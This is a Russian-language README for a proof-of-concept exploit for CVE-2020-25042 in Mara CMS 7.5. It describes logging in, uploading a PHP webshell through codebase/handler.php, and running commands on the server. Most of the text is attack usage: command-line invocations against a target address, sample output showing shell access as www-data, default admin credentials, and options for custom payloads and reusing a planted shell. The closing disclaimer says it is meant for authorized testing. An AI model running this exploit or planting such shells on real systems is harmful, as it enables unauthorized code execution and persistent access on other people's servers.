
PoC для CVE-2020-25042: автоматизированная аутентифицированная загрузка PHP в Mara CMS 7.5 с удаленным выполнением кода (RCE), обработка хэша входа, повторное использование оболочки, поддержка пользовательских полезных нагрузок и чистый вывод в CLI.
Доказательство концепции для CVE-2020-25042, уязвимости аутентифицированной произвольной загрузки файлов в Mara CMS 7.5, которая может привести к удаленному выполнению кода.
Скрипт входит в систему с действующей учетной записью администратора/менеджера Mara CMS, загружает полезную нагрузку PHP через codebase/handler.php и выполняет команды через загруженный файл.
Он также повторно использует существующую оболочку, когда это возможно, чтобы не создавать новый PHP-файл при каждом запуске.
shash.setsalt.codebase/dir.php?type=filenew.codebase/handler.php.--cmd через загруженную оболочку.Python 3.8+
pip install -r requirements.txt
Необходимые пакеты Python:
requests
urllib3
Значения в угловых скобках являются заполнителями. Замените их своими значениями и не включайте символы < или >.
python3 cve_2020_25042.py \
--url <MARA_CMS_URL> \
--username <USERNAME> \
--password '<PASSWORD>' \
--cmd whoami
<MARA_CMS_URL> # Target Mara CMS base URL. Example: http://target/cms
<USERNAME> # Valid Mara CMS admin/manager username.
<PASSWORD> # Valid Mara CMS admin/manager password.
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--username admin \
--password changeme \
--cmd whoami
Пример вывода:
[2026-05-17T23:32:31Z] [*] Checking existing shell: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:31Z] [*] Loading Mara CMS page and collecting session data
[2026-05-17T23:32:31Z] [+] Found shash: 9552
[2026-05-17T23:32:31Z] [*] Requesting login salt
[2026-05-17T23:32:31Z] [+] Got salt: 4253
[2026-05-17T23:32:31Z] [*] Logging in as admin
[2026-05-17T23:32:31Z] [+] Login successful: OK:5
[2026-05-17T23:32:31Z] [*] Opening upload form
[2026-05-17T23:32:32Z] [*] Uploading PHP payload as mara-poc.php
[2026-05-17T23:32:32Z] [+] Upload request completed
[2026-05-17T23:32:32Z] [+] Shell URL: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:32Z] [*] Executing command: whoami
[+] Command output
MARA_CVE_2020_25042_OK
www-data
По умолчанию скрипт использует стабильное имя оболочки:
mara-poc.php
При следующем запуске он проверяет:
http://target/cms/img/mara-poc.php
Если оболочка отвечает ожидаемым маркером, скрипт пропускает вход и загрузку:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--cmd "ls -la"
Чтобы повторно использовать оболочку, созданную с предыдущим случайным именем:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--shell-name mara-poc-jxfizldy.php \
--cmd whoami
Вы также можете напрямую указать путь к раскрытой оболочке:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--shell-url-path /cms/img/mara-poc-jxfizldy.php \
--cmd "ls -la"
Загрузить полезную нагрузку без выполнения команды:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--username admin \
--password changeme \
--upload-only
--page <PAGE>
Existing CMS page used to bootstrap login and extract shash. Default: lorem.php
--shell-name <NAME>
PHP filename to upload or reuse. Default: mara-poc.php
--shell-url-path <PATH_OR_URL>
Explicit shell path or URL to reuse.
Example: /cms/img/mara-poc.php
--payload-file <FILE>
Upload a custom PHP payload instead of the default ?cmd= shell.
--destdir <DIR>
Raw destdir value sent in the upload form. Default leaves Mara CMS using img/.
--force-upload
Always login and upload, even if a reusable shell already exists.
--upload-only
Upload the payload but do not execute --cmd.
--only-final
Hide progress logs and print only command output.
--no-color
Disable ANSI colors.
--debug
Print request URLs and short handler response snippets.
admin:changeme на неизмененных тестовых установках.MARA_CVE_2020_25042_OK перед выводом команды.img/.--force-upload только когда необходимо перезаписать или воссоздать полезную нагрузку.Это доказательство концепции предназначено для авторизованного тестирования безопасности, лабораторных сред и проверки уязвимостей. Не используйте его против систем без явного разрешения.